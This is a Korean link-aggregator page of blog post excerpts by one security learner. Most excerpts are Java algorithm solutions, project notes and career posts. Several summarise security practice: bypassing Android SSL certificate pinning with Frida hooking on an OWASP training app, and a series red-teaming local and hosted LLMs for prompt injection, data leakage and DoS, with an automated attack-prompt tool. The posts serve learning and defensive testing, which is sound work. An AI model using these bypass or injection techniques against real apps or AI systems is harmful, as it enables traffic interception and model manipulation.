ma5ter의 등록된 링크

키자드에 등록된 총 171개의 포스트를 확인하실 수 있습니다.

Naver Blog

Android SSL Pinning - 런타임 우회

정보보안기사 실기시험 중에 이 개념을 마주친 적이 있다.. 인증서 고정(Certificate Pinning)은 앱이 서버가 보내온 인증서를 직접 확인해서 미리 알고 있는 값과 다르면 통신을 아예 끊어버리는 안전장치이다. if (앱이 Pinning 하고 있다면) : if (프록시가 준 인증서 == 앱이 알고 있는 핀값) 통과 else 연결 거부 (TLS 핸드셰이크 중단) 우회 방법에는 대표적으로 - APK를 디컴파일해서 network_security_config나 핀 코드 자체를 제거하는 방법 - 런타임에서 후킹 해서 검증 함수를 통과시키는 방법 등이 있다. 첫 번째 방법은 영구적이지만 번거로우며, 재빌드가 필요하다. 나는 두 번째 방법을 선택했다.. 이 앱은 Kotlin으로 만들었고, 예전에 Kotlin으로 HTTP 클라이언트를 다뤄봤기 때문에 자연스럽게 Retrofit/OKHttp 같은 라이브러리부터 의심했다. OKHttp를 쓰면 CertificatePinner로 핀을 구현하는 경

Naver Blog

Android 앱 Frida 분석을 위한 개발환경 구축

이전부터 윈도우 실행 프로그램(EXE 파일)에 대한 리버스 엔지니어링 경험이 있던 나는 모바일 앱에도 관심이 생겨 실습을 진행해 봤다. 원리는 비슷하지만, 환경과 접근 방식에서 조금 다른 점이 있었다. 윈도우 환경에서는 OllyDbg를 주로 사용했다. 어셈블리어를 한 줄씩 트래킹 하며 각 레지스터와 스택의 값을 분석하고, 함수 호출과 분기 로직을 이해하는 것이 핵심이었다. 모바일 환경에서는 Frida를 사용했다. Frida는 단순히 디버깅만 하는 것이 아니라, 앱의 메서드를 실시간으로 후킹하고 소스코드 수준에서 값을 변조할 수 있다. 정말 매력적이면서도 흥미로웠다. 개발환경 구성 - 호스트 OS: Windows 10 - Android Studio + AVD: Pixel 9 (Google APIs 버전) - ADB: Android Debug Bridge - Frida: Dynamic Instrumentation Toolkit - Jadx: APK 디컴파일용 설치 및 설정 과정 1. A

Naver Blog

Android UnCrackable Level 1

실습에 사용한 앱은 OWASP Mobile Security Testing Guide(UnCrackable Level 1) APK이다. 1. Jadx로 클래스/메서드 확인 Frida로 후킹을 하기 위해서는 정확한 클래스명과 메서드명을 알아야 한다. APK 디컴파일 및 MainActivity 확인 암호화 관련 클래스 확인 a(String str) → 문자열 검증 b(String str) → 문자열 → 바이트 배열 변환 내부 AES 처리: sg.vantagepoint.a.a.a(byte[], byte[]) 2. Frida attach 및 환경 준비 앱 분석을 위해 Frida를 사용하기 전, 먼저 환경을 준비했다. A. 프로세스 목록 확인 앱이 실행 중인지, Frida에서 접근 가능한지 확인하기 위해 프로세스 목록을 가져왔다. frida-ps -Uai -U : USB 또는 에뮬레이터 연결 디바이스 사용 -a : 모든 앱 표시 -i : 정보 표시 강화 이 명령으로 owasp.mstg.uncr

Naver Blog

Frida JS/Hooking 문법 규칙

자바 개발자 관점에서 보면 개념은 익숙한 것들이 많지만 Frida의 JavaScript, 후킹 문법 특유의 규칙이 조금 어색했다.. 코드 블록을 참조해가며 각 블록의 목적과 동작 원리를 이해해보자.. Java.perform(function () { // ...후킹 코드들... }); Java.perform(function () { ... }) Frida가 Android의 Java VM에 안전하게 접근할 수 있을 때 내부 콜백을 실행한다는 뜻 모든 Java.use, overload, implementation 같은 Java 관련 API 호출은 반드시 이 블록 안에서 해야 안정적으로 동작함! 즉, Java VM이 준비되기 전이라면 이 블록 안에서 기다려서 실행하게 됨. var A = Java.use("sg.vantagepoint.uncrackable1.a"); Java.use("패키지.클래스") 해당 Java 클래스를 Frida의 래퍼 객체로 변환 반환된 A를 통해 그 클래스들의 메서드

Naver Blog

LLM 취약점을 진단해 보자 (3) - ChatGPT 진단 결과

이번에는 동일한 LLM 보안 진단 항목을 ChatGPT에 적용하여 점검한 결과를 정리했습니다. 모델에 따라 결과가 다를 수 있지만, 이번 진단에서는 전반적으로 취약점이 발견되지 않거나 해당 없는 항목이 많았습니다. - 테스트 항목 대부분에서 양호 판정을 받았으며, 취약점이 식별되지 않았습니다. - ChatGPT 환경에서 제공되지 않는 기능(예: OS 명령어 직접 실행, 파일 업로드 기능 등)은 평가에서 제외되었습니다. - 같은 진단 항목이라도, 모델 구조·배포 환경·기능 제한 정책에 따라 결과가 달라질 수 있습니다. 이번 점검에서 ChatGPT는 기본적인 보안 측면에서 안정적인 결과를 보였지만, LLM 보안 점검은 단일 모델이 아닌 다양한 환경에서 반복 수행할 필요가 있습니다.

Naver Blog

LLM 취약점을 진단해 보자 (4) - 자동화 도구 개발

로컬 LLM 취약점을 점검하는 과정에서 Ollama의 API Endpoint를 통해 파이썬에서 프롬프트를 요청하고 응답받을 수 있는 사실을 확인했습니다. 이를 활용하면, 취약점을 진단하는 사람이 매번 수동으로 프롬프트를 보내고 결과를 확인하는 번거로움을 줄일 수 있을 것이라는 생각이 들었고, 자동화 도구를 개발하게 되었습니다. 작동 방식은 간단합니다. 프로그램 실행 시 1~10 기준으로 점검 항목별 자동화 테스트 수행 예: 프롬프트 인젝션 점검 -> 1 입력 사전에 정의된 공격용 프롬프트를 Ollama LLM에 요청 LLM의 응답을 분석하여 취약/양호 여부 판단 추가적으로 1~10 전체 항목에 대해 점검, 마지막에 취약한 항목만 요약하여 출력할 수 있게 확장하였습니다. 하지만 현재 공격 프롬프트, 검증 프롬프트, 로직이 완성형이 아니므로, 실제 테스트를 반복하면서 고도화할 필요가 있습니다. 또한, 자동화 도구의 정확성을 높이기 위해 다양한 시나리오와 환경에서 점검이 필요합니다.

Naver Blog

2025 정보보안기사 2회 최종합격

2024년 4회차 필기를 취득하고 바로 실기를 준비하지는 못했다. 개발 프로젝트 마무리로 바쁘게 지내며 배포 전 취약성 컨설팅, 접근성 등 고려해야 할 것들이 많아 야근이 잦았기 때문이다. 그렇게 시간을 미루다 직무 변경을 위해 퇴사 후 본격적으로 정보보안기사 실기 공부를 시작했다. 필기에서 배운 지식을 바탕으로 알기사 교재와 인강을 구매해 정독했고, 이해되지 않는 부분은 AI를 적극적으로 활용했다. “사이버 킬체인이 뭐야?”, “위험관리는 왜 하는 거야?”, “ISMS-P 인증체계는 안 하면 어떻게 돼?” 같은 질문을 던지며, 고등학생 눈높이에 맞춰 실생활 비유로 쉽게 이해하려고 스스로 씨름했다. 공부 방법 - 퇴사 후 시간적 여유가 생겨 하루 최대 9시간씩 공부 - 스터디카페에서 혼자 중얼거리며 주제를 설명하는 연습 - 수험서를 여러 번 회독하며 핵심은 한 권짜리 노트에 정리 - 기출문제를 풀며 "출제자가 원하는 답의 뉘앙스"를 파악 특히 "문제가 원하는 답변의 형태"를 익히고

Naver Blog

[SecuriSuite] Interface

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. SecuriSuite의 인터페이스는 사용자에게 직관적이고 사용하기 쉬운 환경을 제공합니다. 이를 통해 사용자는 복잡한 명령어나 설정 없이도 다양한 보안 도구를 효과적으로 사용할 수 있습니다. 기능 웹 UI를 통한 도구 사용: 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이러한 도구들은 사용자의 보안 검사 및 데이터 분석 작업을 지원합니다. 실시간 데이터 시각화: 대시보드는 사용자의 활동 및 도구 사용 통계를 실시간으로 막대 차트와 둥근 차트로 시각화하여 제공합니다. 이를 통해 사용자는 자신의 활동을 쉽게 모니터링하고 분석할 수 있습니다. 기능별 결과 파일 및

Naver Blog

[SecuriSuite] 시작하기

사진을 클릭하면 프로젝트로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. Docker로 시작하기 전제조건 Docker가 설치되어 있어야 합니다. 설치방법 1. 도커 이미지 다운로드 : 다음 명령을 사용하여 필요한 도커 이미지를 내려받으세요. docker pull hoowave/securisuite-backend:latest docker pull hoowave/securisuite-frontend:latest 2. Docker Compose 파일 다운로드 : 프로젝트의 Docker Compose 파일을 다운로드합니다. docker-compose.yml 3. 프로젝트 실행 : 다운로드한 Doc

Naver Blog

DDD(도메인 주도 개발)을 진행하며 느꼈던 것

이 전에 레거시 프로젝트를 진행할 때, 기본 MVC 패턴을 사용해서 비즈니스 로직을 처리 했었는데, 새로운 기능을 추가하거나 유지보수 하는데 시간이 많이 걸릴 것 같다고 느껴졌어요.. 그래서 무엇보다 이번 리팩토링 작업을 진행하면서 비즈니스 로직을 최대한 읽기 쉽게 하자는 생각으로 개발을 진행했어요! 그저께 패치를 진행했었는데, 해당 프로젝트를 배포하고 2주 뒤에 다시 코드를 읽었었는데.. 비즈니스 로직의 작업 단위가 깔끔하게 읽혀서, 원하는 데이터를 처리하고 기능도 쉽게 구현할 수 있었다는 것을 느꼈어요! 한 가지 예를 들자면.. @Slf4j @Getter @NoArgsConstructor @ToString @Entity public class Nmap { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @Enumerated(EnumType.STRING) private NmapOption option

Naver Blog

2024 정보보안기사 4회 필기 후기

현재 나는 컴퓨터공학(정보보안)을 전공하여.. SW 개발 직무에 종사 중인 평범한 개발자.. 취업 준비를 할 때부터 정보보안기사 자격증에 대한 욕심이 있었다.. 정보보안기사 정보보안기사 (Engineer information security)는 과학기술정보통신부 에서 주관하고 한국방송 namu.wiki 정보보안기사 자격증에 대한 내용은 이쪽으로.. 대학교 4학년 때 선배가 보던 정보보안기사 책을 인수인계받아서.. 암호학과 접근통제에 대한 내용을 스윽 보고 재미있어 보이는 시스템 보안, 네트워크 보안, 개보법, 망법 등에 대한 내용을 뒤로.. 현실이 두려워 정보처리기사 먼저 취득하게 되는데.. 마음속에 계속 담아두기만 하기보다는 실천해야겠다는 생각이 크게 들었다.. 당시 인수인계받은 책은 2020년도인데.. 최신 내용이 많이 반영되다 보니 당장 최신 수험서를 구매했다! 그리고 구매한 수험서를 지참하여 무작정 퇴근하고 스터디 카페에 가서 공부를 시작했다! 그래봐야 하루 2~3시간이 전부

Naver Blog

[Flutter + FFI] Windows API - Windows 메모리 패치

Flutter 앱 개발을 하다가 문득 그런 생각이 들었다.. 크로스 플랫폼 도구인 Flutter로 사용자의 UI/UX 및 상태를 처리하고.. 각 플랫폼의 기능(Native Code)을 잘 살리면.. 그 조화가 더 잘 이루어지지 않을까 하는 생각.. 우선 어떤 플랫폼을 대상으로 응용해 볼까 하다가.. 이 전에 Windows API를 사용하여 지뢰 찾기 시간초에 대한 메모리를 수정하는 C++ 프로젝트가 생각났다. GitHub - hoowave/Minesweeper_Timer: ReadProcessMemory, WriteProcessMemory ReadProcessMemory, WriteProcessMemory. Contribute to hoowave/Minesweeper_Timer development by creating an account on GitHub. github.com 이 프로그램은 까만 도스 창에서 사용자의 입력을 숫자로 입력받아서 처리하는데.. Flutter 테마를 입히

Naver Blog

[Android Kotlin] Jetpack Compose + KSP + Hilt

Kotlin Android Jetpack compose 환경에서 AOS App을 개발하는데.. 요구사항이 많아지고 까다로워지면서.. 확장성과 유지 보수성에 대해 다시 생각해 보게 되었다.. 이 전에 나는 되게 Java스럽게.. View -> Controller -> Model -> Etc Provide.. 구조로 설계를 했었는데.. 의존 관계를 관리하기가 쉽지 않았다.. 문득 든 생각이.. Spring Container처럼 필요한 모듈을 관리하여 필요할 때마다 주입받아서 사용하면.. 더욱 독립적이게 사용할 수 있지 않을까.. 하는 생각.. 더 넓은 시야로 바라보니.. Hilt를 이용하여 의존성 주입을 할 수 있는 정보를 알게 되고.. 각 뷰나 컴포넌트에 이러한 의존성을 쉽게 주입할 수 있도록 설계하고 싶은 욕심이 생김.. 또 그 과정에서 기존에 KAPT -> KSP로 마이그레이션 하여.. 어노테이션 프로세싱 성능을 올려서 컴파일 시간을 단축하여 사용하고자 했다.. 무엇보다 Flutt

Naver Blog

while(살아있어요) { 배달하자 }

안녕하세요. 정말 오랜만에 블로그에 글을 씁니다. 기술 포스토로 바로 들어가기보다, 일상 이야기부터 시작해보려 합니다. 이번엔 조금 다른 시선으로, "나"를 표현하기 위한 글쓰기를 시작해보려고 해요. 사실 포스팅을 다시 시작하게 된건, 이직을 준비하면서 나 자신을 더 명확히 들어내고 싶어서입니다. 그저 스펙을 나열하는게 아니라, 내가 살아온 방식, 생각의 흐름, 선택의 이유들을 보여주고 싶었어요. 그리고 그 기록의 시작은, 기술이 아닌 일상으로부터 시작합니다. 저는 좋아하는 IT를 놓고 싶지 않았기 때문에, 배달 아르바이트를 선택했습니다. "돈을 벌려고 시작했지만, 지금은 생각보다 많은 걸 배운다" 그게 지금의 솔직한 심정입니다. 배달을 하며 내가 어떤 가치를 느꼈고, 왜 아직까지 이 일을 이어가고 있는지, 그리고 이게 어떻게 나의 보안, 해킹, 개발 철학과 연결되는지 이야기해보려 합니다. 무엇보다 강조하고 싶은 건, 도로 위의 안전은 기술보다 더 기본적인 윤리라는 점입니다. 저는

Naver Blog

띵동! 보안의민족 주문~ 로그 기록 남깁니다 (1) - 대학생편

[로그기록: #001 / 주제 : 아르바이트 개시 전투기록] 전역 후, 나는 '개발자'로 살아남기 위해 현실적인 문제와 마주했다. 당장 용돈이 없었고, 부모님께 손 벌리고 싶지 않았다. "먹고살아야 학교도 다니고 코딩도 하지"라는 절실함이, 내 선택의 기준이 됐다. 그래서 선택한게 배달 아르바이트였다. - 시간 제약 X - 성과만큼 수익 O - 단기 목표 설정 O 그땐 몰랐지만, 이건 거의 프로젝트 운영 조건표랑 비슷했다.. 당시 내가 선택한 플랫폼은 '바로고'. 지금은 흔한 이름이지만, 내겐 첫 실전 배포환경 이었다.. 처음엔 일이 복잡해 보이지 않았다. 고객이 주문 가게는 조리 배달대행사는 '콜'을 생성 나는 '콜'을 수락하고 배송 API 흐름 같다. REST 구조네? ㅋ0ㅋ 처음엔 단순한 구조처럼 보였지만, 현장은 달랐다. "이 정도 로직이면 쉽게 돌릴 수 있겠지" 라고 생각한 나는.. 역시 무지했다.. 게다가 업무 지역, 이른바 "권역"이 생각보다 넓었다. 지도상으론 가까워

Naver Blog

띵동! 보안의민족 주문~ 로그 기록 남깁니다 (2) - 취준생편

[로그기록: #002 / 주제 : 졸업과 동시에 백수 선언] 현장실습이 끝난 후, 드디어 졸업. 그리고 백수. 짝짝짝...!! 일단 로그아웃은 했지만, 재부팅은 아직 안 된 상태였다. 그러던 와중, 눈에 들어온 건 도미노피자 배달 아르바이트. 전국에 수많은 매장이 있지만, 내가 일하게 된 곳은 경치가 예술이었다. 말 그대로 "일하면서 힐랑하는 드라이브 코스". 단점도 있었다. 그 아름다운 경치는 높은 고도에서 온 것이었고, 계단 -> 오르막 -> 걸어서 배송, 이건 거의 철인 3종 경기였다. "여긴 GPS보다 다리에 의존해야 한다"는 생각이 들 정도였다.. 하지만 이전 대행업체와는 달리, 매장 소속 배달이란 점에서 큰 차이가 있었다. 콜에 목숨 걸고 시간과 싸우던 과거와 달리, 여기는 시간보단 정확함, 질주보단 안정성이 중요했다. 배달뿐 아니라 매장 청소, 재고 정리, 포장 업무 등도 도맡으며, 정직원 전환 이야기도 종종 오갔다. 하지만 내 방향은 명확했다. "나는 개발을 하고싶다.

Naver Blog

띵동! 보안의민족 주문~ 로그 기록 남깁니다 (3) - 이직편

[로그기록: #003 / 주제 : 전환점에서의 리부팅] 첫 직장은, 참 따뜻했다. 대표님부터 동료 개발자까지 연령대도 비슷하고, 배울 점이 많은 분들이었다. 나는 그 회사의 모바일 개발팀에 합류하여, Kotlin Native와 Flutter를 활용한 앱 개발을 담당했다. 서버가 필요한 경우엔 입사 전 취업 준비하며 익힌 Spring 역량을 발휘해 소켓 서버등도 구성했다. Ubuntu, 라즈베리파이OS 환경에서의 테스트도 자연스레 내 몫이 되었다. 업무를 하며 깨달았다. 개발은 결국 문제 해결이다. 하지만 소통은 그 전에 선행되어야 할 조건이다. 코드보다 커뮤니케이션 스킬이 더 절실한 순간도 많았다. 그래서 나는 구글에 이런 걸 검색하기 시작했다. 메일 작성 예시 회의에서 말하는 법 사회생활 용어 정리 미팅에는 꼭 참석했다. 직접 말하진 않더라도, 대화를 듣고 이해하는 습관을 꾸준히 들였다. 덕분에 점점 기술적 문제를 넘어서 사람과 함께 일하는 방법을 배워갔다. 문득 생각났다. 내 전

Naver Blog

LLM 취약점을 진단해 보자 (1) - 개요와 진단 기준

"이 보고서 요약해 줘" 요즘 누구나 쉽게 접근할 수 있는 AI 서비스가 일상에 깊숙이 들어오고 있습니다. 저 역시 개발 과정에서 코드 작성, 문서 정리, 테스트 자동화 등 다양한 분야에 LLM(대규모 언어 모델)을 적극적으로 활용해왔어요. 그런데 한편으로, 이런 편리함 속에 숨겨진 보안 취약점이 점점 눈에 들어오기 시작했습니다. 과거 웹 취약점의 대표격이었던 SQL Injection이 이제는 Prompt Injection라는 이름으로 변형되어 LLM에 적용되고 있더군요. 실제 여러 프롬프트 인젝션 사례를 살펴보니, 단순한 기술적 해킹이 아니라 심리적인 설득과 사회공학적 요소까지 결합되어 있다고 느꼈습니다. 마치 대화를 하다 보면 서서히 잘못된 길로 이끌리는 느낌.. "최면"과 비슷한 느낌을 받았어요.. 그래서 LLM을 대상으로 나만의 진단 기준을 정리하고, 그 기준으로 실제 점검을 진행해 봤습니다. 다음 세 가지 문서를 참조했습니다. OWASP LLM Top 10 : 전 세계적으로

Naver Blog

LLM 취약점을 진단해 보자 (2) - 로컬 LLM 진단 결과

로컬 환경(Ollama + deepseek-r1:1.5b)에서 실제 진단 기준을 적용한 사례입니다. 총 10개의 대분류, 27개 세부 항목 중 실제 테스트가 가능했던 항목만 점검하였으며, 결과는 취약 / 양호 / N/A(테스트 불가)로 표시하였습니다. Prompt Injection (LLM-01) 대화 컨텍스트 조작 및 지시 직접, 간접 우회 모두 취약 운영체제 명령 실행은 차단되어 양호 데이터 유출 보호 미흡 (LLM-02) 민감 정보 유출, 모델 내 민감 정보 존재 모두 취약 시스템 프롬프트 유출은 차단되어 양호 인증, 인가, 권한 관리 (LLM-03) 전 항목 양호 서비스 거부(DoS) (LLM-05) 대량 스트림 요청 시 388초 지연, 취약 LLM 생성 콘텐츠 과도 의존 (LLM-08) 환각(Halluncination) 발생, 취약 나머지 일부 항목은 N/A(환경 한계로 미검증) 로컬 LLM 환경에서 다양한 취약점이 재현됨을 확인했습니다. 모델에 따라 다르겠지만, 보안 우려

Naver Blog

[JAVA] 백준 9996 - 한국이 그리울 땐 서버에 접속하지

문제 선영이는 이번 학기에 오스트레일리아로 교환 학생을 가게 되었다. 호주에 도착하고 처음 며칠은 한국 생각을 잊으면서 즐겁게 지냈다. 몇 주가 지나니 한국이 그리워지기 시작했다. 선영이는 한국에 두고온 서버에 접속해서 디렉토리 안에 들어있는 파일 이름을 보면서 그리움을 잊기로 했다. 매일 밤, 파일 이름을 보면서 파일 하나하나에 얽힌 사연을 기억하면서 한국을 생각하고 있었다. 어느 날이었다. 한국에 있는 서버가 망가졌고, 그 결과 특정 패턴과 일치하는 파일 이름을 적절히 출력하지 못하는 버그가 생겼다. 패턴은 알파벳 소문자 여러 개와 별표(*) 하나로 이루어진 문자열이다. 파일 이름이 패턴에 일치하려면, 패턴에 있는 별표를 알파벳 소문자로 이루어진 임의의 문자열로 변환해 파일 이름과 같게 만들 수 있어야 한다. 별표는 빈 문자열로 바꿀 수도 있다. 예를 들어, "abcd", "ad", "anestonestod"는 모두 패턴 "a*d"와 일치한다. 하지만, "bcd"는 일치하지 않는

Naver Blog

[JAVA] 백준 1254 - 팰린드롬 만들기

문제 동호와 규완이는 212호에서 문자열에 대해 공부하고 있다. 규완이는 팰린드롬을 엄청나게 좋아한다. 팰린드롬이란 앞에서부터 읽으나 뒤에서부터 읽으나 같게 읽히는 문자열을 말한다. 동호는 규완이를 위한 깜짝 선물을 준비했다. 동호는 규완이가 적어놓고 간 문자열 S에 0개 이상의 문자를 문자열 뒤에 추가해서 팰린드롬을 만들려고 한다. 동호는 가능하면 가장 짧은 문자열을 만들려고 한다. 동호가 만들 수 있는 가장 짧은 팰린드롬의 길이를 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 문자열 S가 주어진다. S는 알파벳 소문자로만 이루어져 있고, 길이는 최대 50이다. 출력 첫째 줄에 동호가 만들 수 있는 가장 짧은 팰린드롬의 길이를 출력한다. 예제 입력 1 abab 예제 출력 1 5 예제 입력 2 abacaba 예제 출력 2 7 예제 입력 3 qwerty 예제 출력 3 11 예제 입력 4 abdfhdyrbdbsdfghjkllkjhgfds 예제 출력 4 38 abdfhdyrbdbsdfg

Naver Blog

[JAVA] 백준 14490 - 백대열

문제 대열이는 욱제의 친구다. “야 백대열을 약분하면 뭔지 알아?” “??” “십대일이야~ 하하!” n:m이 주어진다. 욱제를 도와주자. (...) 입력 n과 m이 :을 사이에 두고 주어진다. (1 ≤ n, m ≤ 100,000,000) 출력 두 수를 최대한으로 약분하여 출력한다. 예제 입력 1 100:10 예제 출력 1 10:1 예제 입력 2 18:24 예제 출력 2 3:4 쉬운 문제! 욱제를 도와주자.. 말 그대로 계속 약분하면 된다.. import java.util.Scanner; public class Ex14490 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); String n = sc.next(); String[] num = n.split(":"); int num1 = Integer.parseInt(num[0]); int num2 = Integer.parseInt(num[1]);

Naver Blog

[JAVA] 백준 1931 - 회의실 배정

문제 한 개의 회의실이 있는데 이를 사용하고자 하는 N개의 회의에 대하여 회의실 사용표를 만들려고 한다. 각 회의 I에 대해 시작시간과 끝나는 시간이 주어져 있고, 각 회의가 겹치지 않게 하면서 회의실을 사용할 수 있는 회의의 최대 개수를 찾아보자. 단, 회의는 한번 시작하면 중간에 중단될 수 없으며 한 회의가 끝나는 것과 동시에 다음 회의가 시작될 수 있다. 회의의 시작시간과 끝나는 시간이 같을 수도 있다. 이 경우에는 시작하자마자 끝나는 것으로 생각하면 된다. 입력 첫째 줄에 회의의 수 N(1 ≤ N ≤ 100,000)이 주어진다. 둘째 줄부터 N+1 줄까지 각 회의의 정보가 주어지는데 이것은 공백을 사이에 두고 회의의 시작시간과 끝나는 시간이 주어진다. 시작 시간과 끝나는 시간은 231-1보다 작거나 같은 자연수 또는 0이다. 출력 첫째 줄에 최대 사용할 수 있는 회의의 최대 개수를 출력한다. 예제 입력 1 11 1 4 3 5 0 6 5 7 3 8 5 9 6 10 8 11 8

Naver Blog

[JAVA] 백준 11399 - ATM

문제 인하은행에는 ATM이 1대밖에 없다. 지금 이 ATM앞에 N명의 사람들이 줄을 서있다. 사람은 1번부터 N번까지 번호가 매겨져 있으며, i번 사람이 돈을 인출하는데 걸리는 시간은 Pi분이다. 사람들이 줄을 서는 순서에 따라서, 돈을 인출하는데 필요한 시간의 합이 달라지게 된다. 예를 들어, 총 5명이 있고, P1 = 3, P2 = 1, P3 = 4, P4 = 3, P5 = 2 인 경우를 생각해보자. [1, 2, 3, 4, 5] 순서로 줄을 선다면, 1번 사람은 3분만에 돈을 뽑을 수 있다. 2번 사람은 1번 사람이 돈을 뽑을 때 까지 기다려야 하기 때문에, 3+1 = 4분이 걸리게 된다. 3번 사람은 1번, 2번 사람이 돈을 뽑을 때까지 기다려야 하기 때문에, 총 3+1+4 = 8분이 필요하게 된다. 4번 사람은 3+1+4+3 = 11분, 5번 사람은 3+1+4+3+2 = 13분이 걸리게 된다. 이 경우에 각 사람이 돈을 인출하는데 필요한 시간의 합은 3+4+8+11+13 =

Naver Blog

[JAVA] 백준 11047 - 동전 0

문제 준규가 가지고 있는 동전은 총 N종류이고, 각각의 동전을 매우 많이 가지고 있다. 동전을 적절히 사용해서 그 가치의 합을 K로 만들려고 한다. 이때 필요한 동전 개수의 최솟값을 구하는 프로그램을 작성하시오. 입력 첫째 줄에 N과 K가 주어진다. (1 ≤ N ≤ 10, 1 ≤ K ≤ 100,000,000) 둘째 줄부터 N개의 줄에 동전의 가치 Ai가 오름차순으로 주어진다. (1 ≤ Ai ≤ 1,000,000, A1 = 1, i ≥ 2인 경우에 Ai는 Ai-1의 배수) 출력 첫째 줄에 K원을 만드는데 필요한 동전 개수의 최솟값을 출력한다. 예제 입력 1 10 4200 1 5 10 50 100 500 1000 5000 10000 50000 예제 출력 1 6 예제 입력 2 10 4790 1 5 10 50 100 500 1000 5000 10000 50000 예제 출력 2 12 문제를 처음 봤을 때.. 오름차순 되어 있는대로 몫과 나머지를 구하게 되면 동전이 많아지는거 아닌가..? 하는

Naver Blog

실시간 로그 모니터링에 대한 문제 + 해결

이 전에 진행했던 JSP 기반의 프로젝트를 Springboot 프로젝트로 리팩토링하면서.. 해결해야 될 문제가 한 개 발생했다. 실시간으로 로그를 불러와서 데이터를 원하는 형식에 맞게 정형화 시켜준 뒤, 클라이언트에게 전송하는 단순한 과정인데, 환경이나 요구사항이 까다로웠다. 환경 Kali(Debian)에서 운영 중인 Springboot 기반 웹서버 순서도 1. 웹서버는 클라이언트의 요청을 받는다. 2. 해당 요청에 맞게 프로세스를 처리한다. : 이 과정에서 처리에 대한 로그를 기록함 3. 처리 후 결과를 기록한다. 4. 기록한 결과와 데이터 형식에 맞춰서 클라이언트에게 반환한다. 여기서 맞닥뜨린 문제점 요청에 맞게 프로세스를 처리하는 과정에서, 처리하는 시간이 늘어날수록 응답(response)도 늦어졌다. 1번 상황처럼 처리하는 시간이 늘어날수록 클라이언트에게 프로세스 진행도(%)를 응답해 주고 싶었으나, 한 번의 요청으로 여러 번의 응답을 주는데 어려움이 있었다. 문제점에 대한

Naver Blog

리눅스 환경에서 Springboot Thymeleaf(View) Templates을 가져오지 못하는 오류 + 해결

열심히 프로젝트를 하던 도중에.. API 서버를 개발한 뒤, Linux 환경에서 빌드 및 배포를 진행했었다. 현재 개발하는 mac 환경에서는 다 잘 되는데.. 웹 컨트롤러로 요청을 받으면, 뷰 템플릿을 찾지 못하고 에러가 발생하는 것이었다!! 여러 시도를 해봤다.. 시도 1. 실제 파일 위치와 경로 확인 src/main/resources/templates 디렉터리 내에 파일이 있는지 확인하고, 대소문자를 확인해 봤다. 결과 - 이상 무 시도 2. Thymeleaf 구성 설정 application.properties에서 타임리프 설정을 확인했다. spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html 결과 - 이상 무 가만 생각해 보니, 여기까지 문제가 있었다면 현재 개발하는 mac 환경에서도 문제가 발생하지 않았을까..?? 경로가 문제라면, 테스트 파일을 만들어서 다른 문제 될만한 것을 제외하고 컨트롤러

Naver Blog

[SecuriSuite] 프로젝트 개요 및 소개

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 프로젝트 개요 본 프로젝트는 기존 JSP 기반의 "라메르 사이트"를 현대적인 웹 개발 표준과 확장성을 고려하여 전면적으로 리팩토링하는 작업입니다. 이전 구조의 제한점을 극복하고, 더 나은 사용자 경험과 보안성을 제공하기 위해 수행되었습니다. 라메르사이트 프로젝트 @Legacy_Project_Lamer 프로젝트 소개 SecuriSuite는 이러한 강력한 도구들을 더욱 접근하기 쉽고 사용자 친화적인 방식으로 제공하여, 보안 전문가들이 필요한 도구를 쉽게 찾고 사용할 수 있도록 돕습니다. 프로젝트의 설계 및 개발 과정에

Naver Blog

[SecuriSuite] 기술 스택 & 패키지

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 기술 스택 Java: 애플리케이션 개발에 사용된 프로그래밍 언어입니다. Spring Boot: 애플리케이션의 백엔드 로직을 구현하기 위해 사용된 프레임워크입니다. Lombok: 코드 간결성을 향상시키기 위해 사용된 라이브러리입니다. Spring Boot Validation: 입력 데이터의 유효성 검사를 위해 사용된 스프링 부트의 검증 프레임워크입니다. Linux/Unix Shell: Kali Linux 환경에서 쉘 명령을 실행하기 위해 사용된 시스템 환경입니다. 정규 표현식 (Regex): 로그 데이터 파싱 및 데

Naver Blog

[SecuriSuite] Architecture & API

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 데이터 처리 아키텍처 및 각 API에 대한 완성된 예시입니다. 이 예시는 실제 프로젝트에서 나온 것입니다. 데이터 처리 아키텍처 본 프로젝트는 interfaces, facade, domain, infrastructure의 네 가지 주요 계층으로 구성되어 있으며, 이들 간의 상호 작용을 통해 데이터 처리가 이루어집니다. 각 도메인에서 데이터 처리 과정은 다음과 같은 순서로 진행됩니다: 1. Interfaces 계층 - 이 계층은 사용자 또는 외부 시스템으로부터 데이터를 수신합니다. - 수신된 데이터는 DTO(Data

Naver Blog

Spring Boot - Security 로그인

